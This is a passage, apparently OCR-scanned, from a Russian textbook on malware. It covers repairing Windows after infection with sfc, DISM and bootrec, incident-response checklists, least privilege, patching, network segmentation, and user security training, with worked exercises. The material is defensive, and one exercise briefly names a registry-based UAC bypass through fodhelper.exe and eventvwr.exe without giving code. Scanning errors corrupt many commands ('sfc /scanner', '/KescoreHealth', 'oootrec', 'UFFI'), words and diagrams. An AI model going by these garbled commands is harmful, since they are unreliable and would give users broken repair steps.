3. Для восстановления файла щёлкнуть по нему правой кнопкой мыши.
выбрать «Свойства» -» вкладка «Предыдущие версии».
А. Если в списке есть предыдущие версии — выбрать нужную по дате и
нажать «Восстановить».
5. Альтернативно можно использовать бесплатную утилиту ShadowExplorer,
которая позволяет просматривать и извлекать файлы из тене.зых копий.
133. Восстановление системных файлов и загрузочных
записей
Инструменты восстановления системы
После удаления вируса операционная система может остаться в повреждённом
состоянии: вирус мог модифицировать системные файлы, загрузочные записи,
реестр. Для восстанозления штатными средствами Windows существует три
основных инструмента.
SFC (System File Checker)
Команда sfc /scannow проверяет целостность защищённых системных файлов и
автоматически восстанавливает повреждённые или изменённые версии из
локального кэша (C:\windows\winSxS). Если кэш поврежден, SFC не сможет
выполнить восстановление — в. этом случае применяется DISM.
DISM (Deployment Image Servicing and Management)
DISM /Online /CleanuD-Image /KescoreHealth восстанавливает само хранилище
компонентов Windows, скачивая недостающие или поврежденные файлы из
Центра обновлений или указанного источника (установочного ISO-образа).
После восстановления хранилища командой DISM следует повторно
запуСТИТЬ sfc /scannow.
Восстановление загрузчика
Если вирус или руткит повредил загрузочные записи, используются команды из
среды сюссановления (WinRE):
Команда Назначение
Записывает стандартный код начальной загрузки в MBR
Dontrec /fixmbr (для BIOS-совместимых систем) Записывает новый загрузочный сектор на системный
oootrec /fixboot раздел
oootrec /scanos Сканирует диски на наличие установленных Windows и добавляет их г конфигурацию загрузки
oootrec Полностью перестраивает хранилище BCD, находя все
/reouildbcd установки Windows
Для современных систем с UEFI и GPT MBR не используется Вместо этого
поврежденный EFI-раздел восстанавливается командой:
text
bcdboot C:\WindovJS /s S: /f UFFI
где S: — буква, назначенная системному разделу EFI (FAT32).
Схема: восстановление системных файлов после заражения
text
—
| ВОССТАНОВЛЕНИЕ СИСТЕМНЫХ ФАЙЛОВ ПОСЛЕ ЗАРАЖЕНИЯ
I______________________________________I
I------------------------1
| ЗАРАЖЕНИЕ УДАЛЕНО, |
НО СИСТЕМА ПОбРЕжД. |
I-------------------------1
1. sfc /scannow
Проверка целостности|
системных файлов
I----------1-----------
| УСПЕШНО | | ОШИБКА
Г------1 I I------------------------------1
| ГОТОВО| | | 2. DISM /Online |
1------* 1 | | /Cleanup-Image
/PestoreHealth
Восстановление
хранилища компо-
нентов
| УСПЕШНО
|sfc
I ПОВТОР
I
I ОШИБКА
▼
I------------------------1
| 3. Восстановление
из установочного
|-> ОК | | | ISO-образа
| 1-----1 | | DISM /Source:E:\... |
I I 1-1
I I
▼ ▼
| Задачи к подразделу 13.3 с решениями
1. Опишите пошаговую процедуру восстановления MBR на системе с
Windows 11 после атаки буткита.
Решение.
1. Загрузиться с установочного носителя Windows 11 -
2. На экране выбора языка нажагь shift+Fie — откроется командная строка.
3. Определить системный диск (обычно с:). ввести diskpart, затем list volume,
найти загрузочный том (FAT32, обычно скрыт), назначить ему букву
(например. S:), выйти из diskpart.
4. Выполнить ocdboot C:\windows /s S: /f UEFI для пересоздания загрузочных
файлоп на EFI-разделе.
5. При необходимости (если используется CSM/BlOS-совместимость)
выполнить ooctrec /fixmbr В современных системах с UEFI и GPT эта команда не
требуется.
6. Перезагрузиться и проверить загрузку системы.
2. Какие ключи команды bootrec за что отвечают? Составьте шпаргалку.
Решение:
• /fixmbr — записывает стандартный код начальной загрузки Windows в MBR
совместимою диска (не трогает таблицу разделов).
• /fixboot — записывает новый загрузочный сектор на системный раздел.
• /scanos — сканирует все диски на наличие установленных копий Windows и
отображает их. Полезно, если система не видит установленную ОС.
• /rebuildbcd — полностью перестраивает хранилище конфигурации загрузки
(BCD), сканируя диски и предлагая добавить найденные установки Windows.
3. С помощью sfc и DISM проверьте и восстановите целостность
системных файлов на вашем компьютере.
Решение (практическое задание):
1 Запустить командную строку от имени администратора.
2. Выполнить sfc /scanner. Дождаться завершения (может занять 10-30 минут).
3. Если SFC сообщил: «Программа защиты ресурсов Windows обнаружила
поврежденные файлы и успешно их восстановила» — готово
А Если SFC сообщил, что не может восстановить некоторые файлы,
ВЫПОЛНИТЬ DISM /Online /Cleanup-Image /RestcreHealth.
5. После завершения DISM повторно выполнить sfc /scannow.
6. Описать з лабораторном журнале, какие файлы были повреждены (если были)
и как прошло восстановление.
13.4. Пошаговый алгоритм действий при заражении для
конечного пользователя
Чеклист: что делать прямо сейчас
Когда пользователь видит на экране сообщение с требованием выкупа или
замечает явные признаки заражения, первая реакция — паника и желание
«срочно что-то сделать» Именно хаотичные действия часто усугубляют ущерб.
Приведенный ниже чеклист — это простой, запоминающийся алгоритм,
который должен быть отработан до автоматизма
Схема: действия пользователя при обнаружении заражения
text
I------------------------------------------------------------------------------------------1
АЛГОРИТМ ДЕЙСТВИЙ ПРИ ОБНАРУЖЕНИИ ЗАРАЖЕНИЯ
I__________________________________________________________________________________________I
Il II
|| 1. ИЗОЛЯЦИЯ ||
• Выдернуть Ethernet-кабель
• Отключить Wi-Fi (аппаратным переключателем или
в настройках)
|| • НЕ ВЫКЛЮЧАТЬ КОМПЬЮТЕР! ||
У И
I
▼
Il II
|| 2. ФИКСАЦИЯ ||
• Сфотографировать экран с сообщением о выкупе / ошибкой
• Записать, какие действия предшествовали заражению
I!_____________________________________________________________________1
I
▼
Il ||
|| 3. ОПОВЕЩЕНИЕ ||
• Сообщить в ИТ-отдел / службу безопасности (на работе)
• ИЛИ обратиться в сервисный центр (для домашних)
I' 'I
I
▼
li----------------------------------------------------il
|| 4. НЕ ДЕЛАТЬ ||
• НЕ платить выкуп
• НЕ вступать в переписку со злоумышленниками
• НЕ запускать сомнительные «дешифраторы» из интернета
• НЕ пытаться самостоятельно удалятв файлы
। -------------------------------------------- И
I
▼
li=—=====—=====—==—=======—==il
|| 5. ОЖИДАНИЕ ||
• Дождаться специалиста или следовать его инструкциям
• При необходимости - подготовить загрузочный диск
(с чистого компьютера)
I' ||
Почему нельзя выключать компьютер первым делом?
Интуитивно хочется немедленно выключить заражённую машину— «чтобы
вирус не натворил ещё больше». Однако это ошибка Во-первых, в
оперативной памяти могут находиться ключи шифрования, которые
антивирусные анализаторы могут извлечь для создания дешифратора. Во-
вторых, некоторые вымогатели при завершении работы системы активируют
финальную нагрузку (например, уничтожают ключи или перезаписывают MFT).
В-третьих, дамп памяти — важнейший источник улик для последующего
расследования Поэтому первым шагом должна быть изоляция от сети (чтобы
разорвать связь с С&С и остановить распространение на другие узлы), но не
выключение.
| Задачи к подразделу 13.4 с решениями
1. Разработайте и оформите в виде памятки краткий план действий при
появлении сообщения с требованием выкупа.
Решение (текст памятки):
• НЕ ВЫКЛЮЧАТЬ КОМПЬЮТЕР.
• Отключить от сети (вынуть кабель, отключить Wi-Fi).
• Сфотографировать экран с сообщением.
• Позвонить в ИТ-отдел / техподдержку антивирусной компании.
• Не платить выкуп, не вводить данные, не звонить по указанным номерам.
Ждать помощи.
2. Проведите ролевую игру: один студент — пользователь, обнаруживший
заражение, второй — сотрудник техподдержки.
Решение (сценарий)'
Пользователь: описывает, что видит на экране (сообщение о выкупе,
невозможность открыть файлы), сообщает о своих предыдущих действиях
(открыл вложение в письме).
Сотрудник техподдержки: задаёт уточняющие вопросы (подключён ли
компьютер к сети, выключался ли он), инструктирует пользователя немедленно
отключить сетевой кабель, сфотографировать экран, не выключать компьютер.
Далее сотрудник либо прибывает на место с загрузочным диском, либо
инструктирует пользователя по его созданию на чистом компьютере.
3. Почему первым шагом рекомендуется отключить компьютер от сети, а
не выключить его?
Решение.
Отключение от сети немедленно разрывает канал связи с С&С-сервером и
останавливает возможное распространение червя на другие узлы, но
сохраняет компьютер включённым. При выключении теряются данные в
оперативной памяти, которые могут содержать ключи шифрования (что дало
бы шанс на расшифровку), а также важные улики для расследования (дампы
процессов, сетевые буферы). Некоторые вымогатели при завершении работы
системы активируют финальную нагрузку: уничтожают ключи или
перезаписывают критические структуры диска. Поэтому правильная
последовательность: сначала изоляция (отключение сети), затем — анализ и
сбор улик, и только после этого — контролируемое завершение работы.
Глава 14. Профилактика —лучшее «лечение»
Все предыдущие главы были посвящены обнаружению, лечению и
восстановлению после атаки Но высший пилотаж в кибербезопасности — не
допустить заражения вовсе Эта глава посвящена профилактике: выстраиванию
многоуровневой системы защиты, которая делает атаку либо невозможной,
либо настолько сложной и дорогой для злоумышленника, что он предпочтет
более лёгкую цель. Профилактика — это не разовая акция, а непрерывный
процесс, включающий технические, организационные и образовательные
меры.
14.1. Принцип минимальных привилегий и настройка
учётных записей
Least Privilege: фундамент безопасности
Принцип минимальных привилегий (Least Privilege) — один из старейших и
важнейших принципов информационной безопасности Сн гласит; каждый
пользователь и каждый процесс должны обладать только теми правами,
которые необходимы для выполнения их задач, и не более.
На практике это означает, что повседневная работа — чтение почты,
редактирование документов, просмотр веб-страниц — никогда не должна
выполняться из-под учётной записи с правами администратора. Если
пользователь с правами администратора запустит вредоносный макрос в
документе, вирус получит полный контроль над системой: сможет
устанавливать драйверы, отключать антивирус, модифицировать системные
файлы, заражать другие программы. Если же тот же макрос будет запущен под
стандартной учётной записью, вирус окажется в «песочнице» — он не сможет
повысить привилегии без дополнительного эксплойта и пароля
администратора.
Схема: влияние прав пользователя на масштаб ущерба
text
I----------------------------------------------------------------------1
| ВЛИЯНИЕ ПРАВ ПОЛЬЗОВАТЕЛЯ НА МАСШТАБ УЩЕРБА ОТ ЗАРАЖЕНИЯ I
I______________________________________________________________________I
ЗАПУЩЕН ВРЕДОНОСНЫЙ ФАЙЛ
I
Под админи- ||
стратооом
" I "
I
-------1
▼
|| Под стандарт-1|
ным пользова ||
телем
ВИРУС МОЖЕТ:
• Установить
драйверы
• Изменить систем-
ные файлы
• Отключись
антивирус
• Заразить другие
ВИРУС НЕ МОЖЕТ:
• Установить драйверы
• Изменить системные
файлы
• Остановить службы
безопасности
• Заразить системные
программы
Скрыть своё
присутствие
Распространиться
по сети
________________I
программы
ВИРУС МОЖЕТ:
• Заразить Файлы
пользователя
• Сохраниться в
автозагрузке
пользователя
• Требовать права
администратора
(UAC-запрос)
Практические меры
1 Создать отдельную учётную запись администратора (например. Admin -
Василий) только для установки ПО и изменения системных настроек. Для
повседневной работы использовать стандартную учётную запись (Василий).
2. Настроить UAC (User Account Control) в режим «Всегда уведомлять» — это
максимальный уровень, при котором любой запрос на повышение привилегий
требует подтверждения.
3. Внедрить LAPS (Local Administrator Password Solution) на корпоративных
компьютерах. LAPS автоматически генерирует уникальные случайные пароли
для локальной учётной записи администратора на каждом ПК и периодически
их меняет. Это предотвращает горизонтальное перемещение злоумышленника
с использованием одинаковою пароля локального администратора
4. Удалить или отключить ненужные учётные записи (гостевые, старые учетки
уволившихся сотрудников).
5. Настроить политики ограниченного использования ПО:
о AppLocker — разрешить запуск только подписанных приложений из
доверенных путей.
о WDAC (Windows Defender Application Control) — более строгая политика,
разрешающая запуск только явно указанных приложений и драйверов.
| Задачи к подразделу 14.1 с решениями
1. Настройте на тестовой машине обычную учётную запись и убедитесь,
что запуск подозрительной программы требует пароля администратора.
Решение:
1 Создать стандартную учётную запись без прав администратора (Параметры -»
Учетные записи -» Семья и другие пользователи).
2 Войти под этой учетной записью.
3, Попытаться установить любую программу (например, скачанный установщик
7-Zip). Система должна запросить пароль администратора.
4. Сравнить: при входе под администратором тот же установщик запускается с
запросом UAC (одно нажатие «Да»), без ввода пароля Разница очевидна:
стандартный пользователь не может повысить привилегии без явного ввода
пароля администратора.
2. Почему UAC не является панацеей? Приведите пример обхода.
Решение.
UAC — это лишь программный барьер, который можно преодолеть
несколькими способами:
• Социальная инженерия: пользователь, привыкший нажимать «Да» на все
запросы, подтвердит запуск вредоносной программы.
• Технический обход: существуют методы обхода UAC через доверенные
процессы, которые имеют право автоматически эскалировать привилегии
(например, +odheiper.exe, eventvw^.ехе). Злоумышленник может
модифицировать реестр так, чтобы эти процессы запускали вредоносный код с
повышенными правами без запроса UAC.
Поэтому UAC — это важный, но лишь один из рубежей защиты.
3. Проведите опрос среди знакомых: какой процент использует учётную
запись администратора для повседневной работы?
Решение:
Провести опрос (например, 10 человек). Типичный результат: 70-80%
используют учетную запись с правами администратора, потому что «так
удобнее» или «компьютер изначально так настроен». Обьяснить респондентам,
что это главная причина, по которой вирусы получают полный контроль над
системой, и предложить создать отдельную учётную запись для повседневной
работы.
14.2. Своевременное обновление ПО и операционной
системы
Уязвимости и патчи: гонка со временем
Эксплуатация известных уязвимостей, для которых уже существуют
исправления, — один из самых распространённых векторов заражения
Статистика неумолима: большинство успешных атак используют уязвимости,
закрытые вендором месяцы или даже годы назад. Злоумышленники
сканируют интернет в поисках систем, на которых эти патчи не установлены, и
атакуют их автоматически.
Причины необновления систем разнообразны:
Боязнь нарушить работу специфичного ПО (медицинское, промышленное).
Отсутствие централизованного управления обновлениями.
Устаревшие ОС, для которых обновления больше не выпускаются.
Меры по своевременному обновлению
Уровень Мера
Включить автоматическое обновление Windows Update
Домашний ПК Настроить автоматическое обновление браузеров, офисных пакетов, PDF-ридеров Использовать WSUS (Windows Server Update Services)
Организация или облачные сервисы (Microsoft Endpoint Manager) для централизованного управления обновлениями
Инвентаризация Применять сканеры уязвимостей (Nessus, Qualys) для выявления неустановленных патчей Если обновление невозможно (промышленные
У старейшие системы контроллеры, медиыинское оборудование), применять компенсирующие меры: физическая изоляция сети, белые списки приложений, усиленный мониторинг
Пример WannaCry: цена одного патча
Эпидемия WannaCry (май 2017) — хрестоматийный пример катастрофических
последствий пренебрежения обновлениями. Патч MS17-010 закрывающий
уязвимость EternalBlue в протоколе SMBvl, был выпущен Microsoft за 59
дней до эпидемии (14 марта 2017). Все системы с включённым автоматическим
обновлением были защищены. Однако сотни тысяч компьютеров по всему
миру — в британской Национальной службе здравоохранения (NHS), банках,
логистических компаниях — оставались необновлёнными. Результат:
миллиардный ущерб, парализованные больницы и остановленные заводы.
Практически все жертвы могли бы избежать заражения простой установкой
патча.
| Задачи к подразделу 14.2 с решениями
1. Проверьте, сколько незакрытых критических уязвимостей на вашей ОС
(с помощью встроенных средств или сканера).
Решение:
1 Открыть Параметры -» Центр обновления Windows и нажать «Проверить
наличие обновлений». Установить все найденные критические обновления.
2. Для углублённой поовеоки можно использовать бесплатный сканер
уязвимостей Nessus Essentials (для домашнего использования). Он
просканирует систему и покажет список неустановленных патчей с рейтингом
критичности.
3. Обратить особое внимание на обновления с пометкой «Critical» и «Security».
2. Почему на промышленных предприятиях часто работают на
устаревших ОС? Предложите компенсирующие меры безопасности.
Решение:
Промышленное ПО (SCADA-системы, контроллеры ЧПУ) часто
сертифицировано под конкретную версию ОС (Windows ХР, 7) и не работает на
новых версиях. Замена или обновление такого ПО стоит миллионы долларов и
требует длительной остановки производства, что экономически неприемлемо.
Компенсирующие меры:
• Физическая изоляция промышленной сети от интернета и корпоративной
сети (air gap).
• Запрет USB-носителей, жёсткая политика съемных устройств
• Белые списки приложений (AppLocker) — разрешён запуск только заранее
одобренного ПО
• Строгий контроль доступа, уникальные пароли на каждом устройстве.
• Непрерывный мониторинг аномалий на уровне сети (IDS/IPS).
• Регулярное резервное копирование конфигураций и данных.
3. Изучите историю вируса WannaCry: скольким жертвам можно было бы
избежать заражения, если бы патч MS17 010 был установлен вовремя?
Решение:
Патч MSI7-010 был выпущен 14 марта 2017 года. Эпидемия WannaCry началась
12 мая 2017 года — через 59 дней. Все системы, на которых было включено
автоматическое обновление или которые были своевременно пропатчены
администраторами, оказались полностью защищены Таким
образом, практически все из примерно 200 000 заражённых компьютеров в
150 странах могли бы избежать заражения, если бы патч был установлен Это
наглядно демонстрирует, что своевременное обновление — одна из самых
эффективных мер защиты.
143. Сетевая гигиена: брандмауэры, сегментация сети,
защита DNS
Три столпа сетевой профилактики
Правильная настройка сетевой инфраструктуры способна остановить
распространение даже самых агрессивных червей. Три ключевых принципа
сетевой гигиены
1. Брандмауэры на каждом уровне.
Host-based firewall (Windows Firewall, 1ptabies) должен быть включен на
каждом хосте.
Закрыть все неиспользуемые порты, особенно 135 (RPC), 139 (NetBIOS), 445
(SMB) — классические векторы атак червей и вымогателей.
На граничном межсетевом экране настроить строгие правила входяшего и
исходящего трафика.
2. Сегментация сети (VLAN).
Разделить сеть на изолированные cei менты по отделам или функциям
бухгалтерия, разработка, гостевой Wi-Fi.
Трафик между сегментами должен проходить через межсетевой экран и
фильтроваться.
Гостевые и 1оТ-устройства не должны иметь доступа к корпоративной сети.
3. Защита DNS.
Использовать DNS-серверы с фильтрацией е редоносных доменов: Quad9
(9.9.9.Э), Cisco Umbrella, Cloudflare for Families.
Эти серверы блокируют попытки разрешить имена известных фишинговых
сайтов, С&С-серверов и DGA-доменов, предотвращая соединение с
вредоносной инфраструктурой на самом раннем этапе.
Схема 1. Плоская сеть: одна подсеть для всех устройств.
text
ПЛОСКАЯ СЕТЬ - ВСЕ УСТРОЙСТВА В ЭДНОЙ ПОДСЕТИ
Все узлы видят друг друга напрямую, без маршрутизации.
Червь заражает ВСЮ сеть мгновение.
I-----------1
I ПК 1 I
| (отдел I
продаж)|
I---------1
I юг I
| камера
I I
I
L
I
J
I--------------------------------1
| ОБЩИЙ КОММУТАТОР |
(одна подсеть 192.168.1.x)|
I________________________________I
I
▼
।--------------------------------1
| ИНТЕРНЕТ |
I________________________________I
I------------------------------------------------------------------------------1
АТАКА ЧЕРВЯ (например, через SMB, порт 445):
I I
1. Червь попадает на ПК 1 (фииинг, флешка).
2. ARP-сканирование обнаруживает ВСЕ узлы в подсети,
3, Червь мгновенно заражает ПК 2, Сервер и даже 1оТ-камсру.
I I
РЕЗУЛЬТАТ: вся сеть заражена за секунды.
I______________________________________________________________________________I
Схема 2. Сегментированная сеть: VLAN и межсетевой экран
text
I------------------------------------------------------------
| СЕГМЕНТИРОВАННАЯ СЕТЬ - РАЗДЕЛЕНИЕ НА VLAN
I
Трафик между сегментами фильтруется межсетевым экраном.
Червь НЕ может выйти за пределы одного VIAN.
VLAN 1
(отдел продаж)
VlAN 2 | | VLAN 3
(серверы) | | (loT + Wi-Fi)
I I I
------------1 I I I-----1 I---1
I Сервер | | | |Ka- | jroc-| |
| баз данных | | | |мера | |'re-
I-----------1 I I I-----1 1ВОЙ I I
-------1--------* 1 2 3 4 5 I I WiFi I I
I I 1-------------------------1 I
---------------------1
МЕЖСЕТЕВОЙ ЭКРАН I
Правила:
• VLAN 1 e VLAN 2 |
только SQL (1433) |
• VLAN 3 » запрещен |
доступ к VLAN 1,2 I
• Порт 445 закрыт
между ВСЕМИ VIAN
АТАКА ЧЕРВЯ (тот же сценарий):
1. Червь попадает на ПК 1 в VLAN 1.
2. ARP-сканирование находит узлы только в VLAN 1 (ПК 1 и ПК 2).
3. Червь заражает ПК 2.
4. Попытка доступа к Серверу (VLAN 2) -» МЭ блокирует порт 445.
5. Попытка доступа к loT-камере (VLAN 3) -» МЭ блокирует всё.
РЕЗУЛЬТАТ: заражены только 2 ПК в одном VLAN.
Серверы и loT-устройства защищены сегментацией.
Краткий сравнительный вывод
Характеристика Плоская сеть Сегментированная сеть (VLAN)
Видимость узлов Все устройства видят друг друга напрямую Устройства видят только узлы в своём VLAN
Распространение червя Мгновенное, на все узлы Ограничено одним сегментом
Точка блокировки Отсутствует (только периметр) Межсетевой экран между VLANaMH
Требует
Сложность настройки Минимальная управляемых коммутаторов и настройки МЭ
Рекомендация Допустимо только для изолированных домашних сетей Обязательно для любой корпоративной сети
| Задачи к подразделу 14.3 с решениями
1. Настройте правило в брандмауэре Windows, запрещающее исходящие
подключения для определённого приложения. Проверьте его работу.
Решение.
1 Открыть «Брандмауэр Защитника Windows» -» «Дополнительные
параметры» -> «Правила для исходящих подключений»
2. Нажать «Создать правило» -» выбрать «Для программы» -» указать путь
(например, C:\Program Files\InterneL Explorer\iexplore.ехе).
3. Выбрать действие «Блокировать подключение», применить ко всем
профилям.
4, Задать имя правила, например, «Блокировка 1Е».
5. Проверить: запустить Internet Explorer и попытаться открыть любой сайт —
соединение будет заблокировано.
2. Почему плоская сеть (одна подсеть для всех устройств) облегчает
жизнь червю?
Решение:
В плоской сети все устройства находятся в одном широковещательном домене
и могут обращаться друг к другу напрямую, без маршрутизации. Червь,
использующий уязвимость SMB (порт 445), может одним ARP-сканированием
найти все узлы в подсети и мгновенно заразить их. В сегментированной сети
график между VLAN'aMH проходит через межсетевой экран, который блокирует
порты, используемые червем Таким образом, заражение ограничивается
одним сегментом, а не распространяется на всю организацию
3. Исследуйте, как работает защитный DNS-сервис Quad9. и опишите
механизм блокировки вредоносных доменов.
Решение:
Quad9 (IP-адрес э.9.9.9) — это бесплатный рекурсивный DNS-сервер, который
интегрирован с базами данных угроз от множества партнёров (антивирусные
компании, CERT, правоохранительные органы) Когда пользователь делает DNS-
запрос, Quad9 проверяет домен но этим спискам. Если домен известен как
вредоносный (фишинг, С&С-сервер, распространитель вымогателей), Quad9
возвращает NXDOMAIN (домен не существует) или IP-адрес блокировочной
страницы. Таким образом, вредоносное соединение блокируется на этапе
разрешения имени, до того, как будет установлен ТСР-коннект, Quad9 не
собирает персональные данные пользователей и не сохраняет историю
запросов.
14.4. Формирование культуры кибербезопасности у
пользователей
Человек — последний рубеж обороны
Технологии могут остановить 99% угроз, но всегда найдётся фишинговое
письмо, которое обойдёт фильтры, или ссылка, которая ещё не помечена как
вредоносная В этот момент судьба системы оказывается в руках
пользователя. Культура кибербезопасности — это не разовый инструктаж, а
непрерывный процесс формирования у сотрудников привычек, снижающих
риск заражения.
Компоненты эффективной программы обучения
1 Регулярное информирование. Короткие, запоминающиеся материалы,
памятки, плакаты, ежемесячные рассылки о новых схемах мошенничества.
2 . Учебные фишинговые симуляции. С согласия руководства пользователям
рассылаются безобидные письма, имитирующие фишинг, Те, кто попался,
проходят дополнительное обучение (без наказания!). Результаты
отслеживаются в динамике, показывая прогресс.
3 . Поощрение бдительности. Создать атмосферу, в которой сотрудники не
боятся сообщить о подозрительном письме, даже если оно оказалось ложной
тревогой. Никакого осуждения —только благодарность за внимательность.
4 Личный пример руководства. Если директор использует один пароль на все
сервисы и открывает любые вложения — никакие тренинги не сработают.
Три ключевые привычки пользователя
1 Проверять источник. Прежде чем открыть вложение или перейти по ссылке,
спросить себя: «Ожидал ли я это письмо? Знаю ли я отправителя лично7 Не
кажется ли что-то странным?»
2. Блокировать экран. Отходя от рабочего места, всегда нажимать win+L.
Физический доступ к разблокированному компьютеру — один из простейших
векюров атаки.
3. Никому не сообщать пароль. Ни одна ле1 итимная служба, включая ИТ-отдел,
никогда не запрашивает пароль по телефону или в письме.
Схема: многоуровневая профилактика
text
—
| МНОГОУРОВНЕВАЯ ПРОФИЛАКТИКА ЗАРАЖЕНИЙ |
I___________________________________________________________________I
ТЕХНИЧЕСКИЙ УРОВЕНЬ
Минимальные
привилегии
(Least
Privilege)
Своевременные
обновления
(Windows
Update, WSUS)
Сетевая гигиена
(брандмауэр
сегментация
защита DNS)
ОРГАНИЗАЦИОННЫЙ УРОВЕНЬ
I
I I------------------------------------------------------------------1 I
Политики безопасности:
• Регламент действий при заражении
• Политика использования съёмных носителей
• План резервного копирования (3-2-1)
• План восстановления после инцидентов (IR)
I________________________________________________________________I I
I_______________________________________________________________________I
I
▼
I-----------------------------------------------------------------------1
| ЧЕЛОВЕЧЕСКИЙ УРОВЕНЬ |
I I-----------------------------------------------------------------1
Культура безопасности:
• Регулярные тренинги и симуляции
* Привычка проверять источник
• Блокировка экрана (Win+L)
• Сообщение о подозрительных инцидентах
• Личный пример руководства
I________________________________________________________________I
I_______________________________________________________________________I
| Задачи к подразделу 14.4 с решениями
1. Разработайте программу 15-минутного инструктажа для новых
сотрудников по теме «Не стань жертвой вируса».
Решение (план инструктажа).
Блок Содержание бремя
Что такое вредоносное ПО и как оно попадает в систему:
1. Fведение фишинговые письма, заражённые флешки, вредоносные 3 мин
сайты
2. Признаки
угрозы
Как распознать фишингоеое письмо: срочность,
незнакомый отправитель, странный адрес, неожиданные
вложения, просьба ввести пароль
4 мин
Блок
Содержание
Время
3. Разбор примеров Показать 2-3 реальных фишинговых письма и разобрать «красные флаги» вместе с аудиторией 3 мин
4. Правила безопасности Не переходить по подозрительным ссылкам: не открывать макросы в документах из внешних источников; немедленно сообщать в ИТ-отдел о подозрениях 3 мин
5. Закрепление Короткая викторина из 3-5 вопросов, ответы на вопросы 2 мин
2. Проведите тестовую фишинговую рассылку (с разрешения) и
проанализируйте результаты.
Решение:
1 Согласовать с руководством и ИТ-отделом проведение учебной симуляции.
2. Создать безобидное письмо, имитирующее фишинг (например, якобы от ИТ-
отдела с просьбой «подтвердить пароль» по ссылке). Ссылка ведёт на страницу
с предупреждением: «Это была учебная симуляция Ваша учётная запись в
безопасности. Пожалуйста, пройдите краткий курс по фишингу».
3. Разослать на целевую группу (нагример, 50 сотрудников).
А. Через 48 часов подвести статистику сколько человек открыли письмо, сколько
перешли по ссылке, сколько ввели данные.
5. Представить обезличенные результаты и использовать их для обучения (без
осуждения конкретных сотрудников).
3. Назовите три ключевых привычки, которые должен выработать
каждый пользователь для снижения риска заражения.
Решение:
1 Проверять источник. Даже если письмо выглядит знакомым, задать себе
вопрос: «Ожидал ли я это3 * * * 7 Связан ли отправитель со мной? Не поддельный ли
адрес?»
2. Блокировать экран. При любом отходе от компьютера (даже на минуту)
нажимать win+L. Это предотвращает физический доступ к системе.
3. Не вводить пароль. Никакая легитимная служба (банк, ИТ-отдел,
техподдержка) никогда не запрашивает пароль по телефону или в письме.
Любая такая просьба — стопроцентный признак мошенничества.
ЗАКЛЮЧЕНИЕ
Мы проследили путь компью1ерных вирусов от первых академических
экспериментов до сложнейших самообучающихся агентов, вооруженных
искусственным интеллектом. На страницах этого учебника раскрыты природа,
классификация, механизмы маскировки и размножения вредоносных
программ, исследованы мотивация и инструментарий их создателей, детально
разобраны методы обнаружения — от сигнатур и эвристик до облачных
песочниц и EDR-систем. Особое внимание уделено стратегии лечения,
восстановления данных и, главное, профилактике, которая остается
единственной надёжной страховкой от необратимых потерь. Завершающий
раздел «Вирусы и нейросети» показал, что искусственный интеллект стал
одновременно и мощнейшим оружием атакующих, и ключевым ресурсом
защитников, породив новый виток бесконечной гонки вооружений в
киберпространстве.
Вечная гонка: щит и меч
Противостояние вирусописателей и специалистов по кибербезопасности — это
классический пример эволюционной гонки, где каждое новое средство
нападения стимулирует создание более совершенной защиты, и наоборот.
Сигнатурный анализ вынудил вирусы маскироваться полиморфизмом и
метаморфизмом. Поведенческий анализ и песочницы заставили вредоносный
код определять изолированные среды и откладывать активацию Машинное
обучение, поднявшее обнаружение на новый уровень, тут же стало мишенью
состязательных атак, когда специально сгенерированные возмущения
заставляют классификатор ошибаться. Сегодня к этой гонке подключились
генеративные нейросети, способные создавать бесконечные уникальные
варианты вредоносного кода, и самообучающиеся агенты, адаптирующиеся к
окружению в реальном времени.
Из этого можно сделать два важных вывода. Bo-nepsoix, абсолютной,
непробиваемой защиты не существует— всегда найдётся вектор атаки,
который ещё не учтён. Во-вторых, безопасность — это не продукт, а процесс:
непрерывный мониторинг, анализ, адаптация и обучение. Организации и
специалисты, воспринимающие кибербезопасность как разовое вложение,
обречены стать жертвами.
Фундаментальные принципы защиты
Несмотря на стремительное оазвитие технологий, базовые принципы защиты
остаются неизменными и лишь укрепляют свою значимость:
Эшелонированная оборона (Defence in Depth). Ни одно средство защиты не
даёт стопроцентной гарантии. Только многоуровневая архитектура,
включающая периметровые средства (брандмауэры, фильтрация трафика),
защиту конечных точек (антивирусы, EDR.), контроль доступа (минимальные
привилегии, многофакторная аутентификация) и мониторинг (SIEM, NTA),
способна противостоять комплексным угрозам
Резервное копирование. Шифровальщики и найперы делают восстановление
данных без бэкапа невозможным. Правило 3-2-1 (три копии, два типа
носителей, одна географически удалённая или offline) должно быть не
теоретической рекомендацией, а внедрённым на практике стандартом.
Принцип минимальных привилегий. Вредоносная программа действует с
правами запустившего её пользователя Ограничение этих прав радикально
снижает потенциальный ущерб
Своевременное обновление. Эксплуатация известных уязвимостей, для
которых уже выпущены патчи, остаётся одним из главных векторов заражения.
Автоматизация обновлений — простейший и эффективнейший способ закрыть
этот вектор
Человеческий фактор. Никакая технология не защитит от ошибки
пользователя, добровольно запустившего вредоносный макрос или
перешедшего по фишинговой ссылке. Формирование культуры
кибербезоласности — непрерывное обучение, тестовые симуляции, чёткие
регламенты —должно быть приоритетом для любой организации.
Горизонты будущего
В ближайшие десятилетия нас ждёт углубление симбиоза вредоносного ПО и
искусственного интеллекта. Самообучающиеся агенты, способные автономно
принимать решения без связи с командным центром, превратят каждое
заражённое устройство г интеллектуального противника. Децентрализованные
рои вирусных агентов, координируемые через пиринговые сети и алгоритмы
консенсуса, будут практически неуничтожимы традиционными методами.
Ответ защитников будет симметричным: федеративное обучение глобальных
моделей обнаружения на миллионах устройств без нарушения приватности,
автоматический реверс-инжиниринг с генерацией модулей лечения е
реальном времени, графовые нейросети, видящие атаку на уровне целой
инфраструктуры. Ключевым станет скорость реакции: от момента обнаружения
новой угрозы до иммунизации всех узлов должны проходить секунды.
Однако развитие этих технологий ставит острые этические и правовые
вопросы. Где граница между легитимной защитой и неправомерным
вмешательством? Допустимо ли создавать полностью автономные защитные
системы, способные без участия человека блокировать процессы и
изолировать сети? Как регулировать разработку и распространение ИИ-
вирусов, если технологии двойного назначения невозможно просто запретить7
Международное сообщество стоит перед необходимостью выработки новых
норм и соглашений, аналогичных конвенциям о биологическом и химическом
оружии, но адаптированных к цифровой эпохе.
Профессия — защитник
Завершая этот учебник, хочется подчеркнуть, что специалист по
кибербезопасности — это не просто техническая профессия. Это образ
мышления, в котором любопытство и стремление понять противника
сочетаются с этической ответственностью и осознанием последствий своих
действий. Каждый изученный в этой книге механизм — будь то полиморфный
расшифровщик, стелс-перехгат API или нейросетевой обфускатор — это не
абстрактная теория, а реальный инструмент, который в руках злоумышленника
